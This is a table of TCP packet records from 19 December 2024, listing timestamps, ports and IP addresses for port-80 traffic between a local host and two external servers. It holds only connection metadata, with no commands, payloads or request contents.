Dec 19, 2024 08:09:24.411770105 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.411823988 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.412862062 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.412950993 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.412977934 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.413014889 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.414083004 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.414135933 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.414166927 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.414201021 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.415287018 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.415327072 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.415397882 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.415438890 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.416436911 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.416492939 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.416558981 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.416629076 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.417642117 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.417686939 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.417876959 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.417923927 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.418853045 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.418941021 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.418984890 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.420053005 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.420181990 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.420232058 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.421210051 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.421282053 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.550478935 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.550575018 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.550576925 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.550625086 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.551016092 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.551064014 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.551071882 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.551111937 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.552201033 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.552253008 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.552638054 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.552690983 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.552751064 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.552819967 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.553868055 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.553924084 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.553944111 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.553991079 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.555018902 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.555071115 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.555119038 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.555166960 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.556245089 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.556288004 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.556308031 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.556339979 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.557410002 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.557465076 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.557514906 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.557588100 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.558626890 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.558691025 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.558727026 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.558790922 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.559798956 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.559858084 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.559895039 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.559942007 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.560996056 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.561059952 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.561131001 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.561217070 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.562189102 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.562252998 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.562294006 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.562344074 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.563400984 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.563452005 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.563462019 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.563502073 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.564588070 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.564672947 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.564735889 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.565766096 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.565831900 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.565875053 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.565924883 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.566962957 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.567023039 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.567063093 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.567167044 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.568173885 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.568240881 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.568257093 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.568301916 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.569406986 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.569454908 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.569485903 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.569518089 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.570585012 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.570641041 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.570710897 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.570760012 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.571758986 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.571825981 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.571851969 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.571934938 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.572937012 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.573008060 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.573096991 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.573152065 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.574160099 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.574232101 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.574271917 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.574343920 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.575372934 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.575428009 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.575463057 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.575515032 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.576519012 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.576647997 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.576704979 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.577749014 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.577805996 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.577948093 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.578011990 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.578907967 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.579018116 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.579020977 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.579070091 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.580092907 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.580152035 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.957333088 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.076874971 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.076987982 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.083606005 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.203263998 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203299046 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203310966 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203351974 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.203358889 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203401089 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.203413010 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203423977 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203424931 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.203435898 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203453064 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.203475952 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203493118 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.203517914 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.203519106 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203564882 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.203597069 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.203624010 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.322936058 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.323007107 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.323082924 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.323092937 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.323100090 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.323112011 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.323127985 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.323132038 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.323158979 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.323170900 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.364151955 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.364310980 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.484025002 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.484188080 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.524254084 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.524368048 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.643981934 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.644052029 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:25.808093071 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:25.808216095 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.008128881 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.008225918 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.162118912 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.162342072 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.162436962 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282237053 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282253981 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282263994 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282282114 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282341957 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282360077 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282372952 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282402039 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282428980 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282433987 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282448053 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282494068 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282519102 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282530069 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282573938 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282603025 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282613993 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282655954 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282706976 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282759905 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282834053 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282898903 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.282926083 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.282960892 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283014059 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283082008 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283149004 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283201933 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283317089 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283327103 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283392906 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283401966 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283447981 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283534050 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283605099 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283615112 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283651114 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283713102 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283752918 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.283761024 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283808947 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.283823967 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.283870935 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.324157953 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.326855898 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.401954889 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402033091 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402076960 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402152061 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.402167082 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402213097 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402252913 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402364016 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402374983 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402410984 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402506113 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402518034 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402586937 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402647018 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402656078 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402684927 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402725935 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402770996 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402806044 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.402889013 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403245926 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403258085 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403270006 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403398991 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403408051 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403445959 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403456926 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403553009 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403562069 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403680086 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403690100 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403707027 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403716087 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403733015 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403779030 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403825998 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403835058 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403904915 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403914928 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.403995037 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404005051 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404031992 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404093981 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404181004 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404191017 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404207945 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404217005 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404289007 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404298067 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404344082 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404352903 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404432058 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404442072 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404479980 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404526949 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404618979 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404633045 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404644966 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404654026 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404750109 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404759884 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404768944 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404778957 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404788971 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404808044 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404920101 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.404928923 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.406701088 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.406769991 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.446506977 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.521742105 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.521773100 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.521836042 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.521847010 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.521914005 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.521969080 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.525655985 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.525727034 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.526489019 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526499033 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526542902 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526598930 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526649952 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526659012 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526669025 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526782036 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526791096 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526834011 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526844025 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526942015 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.526952028 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527020931 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527029991 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527093887 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527103901 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527151108 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527210951 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527220011 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527296066 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527304888 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527322054 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527400017 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527410030 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527493000 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527502060 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527539015 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527580976 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527640104 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527648926 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527726889 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527735949 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527776003 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527818918 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527862072 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.527872086 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528008938 CET	80	49849	194.87.47.113	192.168.2.6
